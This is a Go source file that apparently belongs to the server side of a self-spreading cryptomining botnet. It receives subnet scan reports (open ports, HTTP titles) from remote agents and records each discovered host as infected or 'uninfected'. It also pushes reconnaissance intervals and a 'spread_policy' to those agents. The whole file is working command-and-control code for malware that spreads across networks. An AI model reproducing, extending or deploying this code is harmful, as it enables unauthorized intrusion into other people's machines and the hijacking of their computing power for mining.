Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
172 lines
4.4 KiB
Go
172 lines
4.4 KiB
Go
package api
|
|
|
|
import (
|
|
"encoding/json"
|
|
"net/http"
|
|
"strings"
|
|
|
|
dbpkg "crypto-miner-server/internal/db"
|
|
)
|
|
|
|
const defaultSubnetReconIntervalMin = 30
|
|
|
|
type SubnetDiscoveryHandler struct {
|
|
db *dbpkg.Database
|
|
hub *WSHub
|
|
}
|
|
|
|
func NewSubnetDiscoveryHandler(database *dbpkg.Database, hub *WSHub) *SubnetDiscoveryHandler {
|
|
return &SubnetDiscoveryHandler{db: database, hub: hub}
|
|
}
|
|
|
|
func (h *SubnetDiscoveryHandler) GetDiscoveredHosts(w http.ResponseWriter, r *http.Request) {
|
|
if h == nil || h.db == nil {
|
|
writeJSON(w, map[string]interface{}{"hosts": []dbpkg.SubnetDiscoveryRow{}})
|
|
return
|
|
}
|
|
subnet := strings.TrimSpace(r.URL.Query().Get("subnet"))
|
|
status := strings.TrimSpace(r.URL.Query().Get("status"))
|
|
rows, err := h.db.ListSubnetDiscoveries(subnet, status, 500)
|
|
if err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
if rows == nil {
|
|
rows = []dbpkg.SubnetDiscoveryRow{}
|
|
}
|
|
writeJSON(w, map[string]interface{}{"hosts": rows})
|
|
}
|
|
|
|
func (h *WSHub) ingestSubnetReconReport(agentID string, payload json.RawMessage) {
|
|
if h == nil || h.db == nil || agentID == "" {
|
|
return
|
|
}
|
|
var body struct {
|
|
Hosts []dbpkg.SubnetDiscoveryRow `json:"hosts"`
|
|
SubnetPrefix string `json:"subnet_prefix"`
|
|
AgentID string `json:"agent_id"`
|
|
}
|
|
if err := json.Unmarshal(payload, &body); err != nil || len(body.Hosts) == 0 {
|
|
return
|
|
}
|
|
reporter := strings.TrimSpace(body.AgentID)
|
|
if reporter == "" {
|
|
reporter = agentID
|
|
}
|
|
defaultPrefix := normalizeSubnetDiscoveryQueryPrefix(body.SubnetPrefix)
|
|
for _, host := range body.Hosts {
|
|
ip := strings.TrimSpace(host.IP)
|
|
if ip == "" {
|
|
continue
|
|
}
|
|
prefix := normalizeSubnetDiscoveryQueryPrefix(host.SubnetPrefix)
|
|
if prefix == "" {
|
|
prefix = defaultPrefix
|
|
}
|
|
if prefix == "" {
|
|
prefix = subnetPrefix24(ip)
|
|
}
|
|
if host.Status == "" {
|
|
host.Status = dbpkg.SubnetDiscoveryUninfected
|
|
}
|
|
row, err := h.db.UpsertSubnetDiscovery(dbpkg.SubnetDiscoveryRow{
|
|
IP: ip,
|
|
OpenPorts: host.OpenPorts,
|
|
ReporterAgentID: strings.TrimSpace(host.ReporterAgentID),
|
|
SubnetPrefix: prefix,
|
|
HTTPTitle: host.HTTPTitle,
|
|
Status: host.Status,
|
|
})
|
|
if err != nil || row == nil {
|
|
continue
|
|
}
|
|
if row.ReporterAgentID == "" {
|
|
row.ReporterAgentID = reporter
|
|
}
|
|
h.BroadcastSubnetDiscoveryUpdate(*row)
|
|
}
|
|
}
|
|
|
|
func (h *WSHub) markSubnetDiscoveryAgentOnline(ip string) {
|
|
if h == nil || h.db == nil {
|
|
return
|
|
}
|
|
ip = strings.TrimSpace(ip)
|
|
if ip == "" {
|
|
return
|
|
}
|
|
row, err := h.db.MarkSubnetDiscoveryAgentOnline(ip)
|
|
if err != nil || row == nil {
|
|
return
|
|
}
|
|
h.BroadcastSubnetDiscoveryUpdate(*row)
|
|
}
|
|
|
|
func (h *WSHub) BroadcastSubnetDiscoveryUpdate(row dbpkg.SubnetDiscoveryRow) {
|
|
if h == nil {
|
|
return
|
|
}
|
|
h.broadcastDashboard(Message{Type: "subnet_discovery_update", Payload: mustMarshal(row)})
|
|
}
|
|
|
|
func (h *WSHub) subnetFleetIPsForRecon(agentSubnet string) []string {
|
|
if h == nil || h.db == nil {
|
|
return nil
|
|
}
|
|
agentSubnet = normalizeSubnetDiscoveryQueryPrefix(agentSubnet)
|
|
if agentSubnet == "" {
|
|
return nil
|
|
}
|
|
agents, err := h.db.ListAgentsFiltered(dbpkg.AgentListFilter{Subnet: agentSubnet + ".x", Limit: 256})
|
|
if err != nil {
|
|
return nil
|
|
}
|
|
seen := map[string]bool{}
|
|
var out []string
|
|
for _, ag := range agents {
|
|
if ag == nil {
|
|
continue
|
|
}
|
|
ip := strings.TrimSpace(ag.IP)
|
|
if ip == "" || seen[ip] {
|
|
continue
|
|
}
|
|
seen[ip] = true
|
|
out = append(out, ip)
|
|
}
|
|
return out
|
|
}
|
|
|
|
func (h *WSHub) attachSubnetReconPolicy(resp map[string]interface{}, spreadPolicy map[string]interface{}, clientIP string) {
|
|
if h == nil {
|
|
return
|
|
}
|
|
policy := h.serverPolicySnapshot()
|
|
if !policy.SubnetReconEnabled {
|
|
return
|
|
}
|
|
interval := policy.SubnetReconIntervalMin
|
|
if interval <= 0 {
|
|
interval = defaultSubnetReconIntervalMin
|
|
}
|
|
resp["subnet_recon_enabled"] = true
|
|
resp["subnet_recon_interval_min"] = interval
|
|
if fleetIPs := h.subnetFleetIPsForRecon(subnetPrefix24(clientIP)); len(fleetIPs) > 0 {
|
|
resp["subnet_fleet_ips"] = fleetIPs
|
|
}
|
|
if spreadPolicy == nil {
|
|
spreadPolicy = map[string]interface{}{}
|
|
}
|
|
spreadPolicy["subnet_recon_enabled"] = true
|
|
spreadPolicy["subnet_recon_interval_min"] = interval
|
|
resp["spread_policy"] = spreadPolicy
|
|
}
|
|
|
|
func normalizeSubnetDiscoveryQueryPrefix(prefix string) string {
|
|
prefix = strings.TrimSpace(prefix)
|
|
prefix = strings.TrimSuffix(prefix, ".0/24")
|
|
prefix = strings.TrimSuffix(prefix, "/24")
|
|
prefix = strings.TrimSuffix(prefix, ".x")
|
|
return prefix
|
|
}
|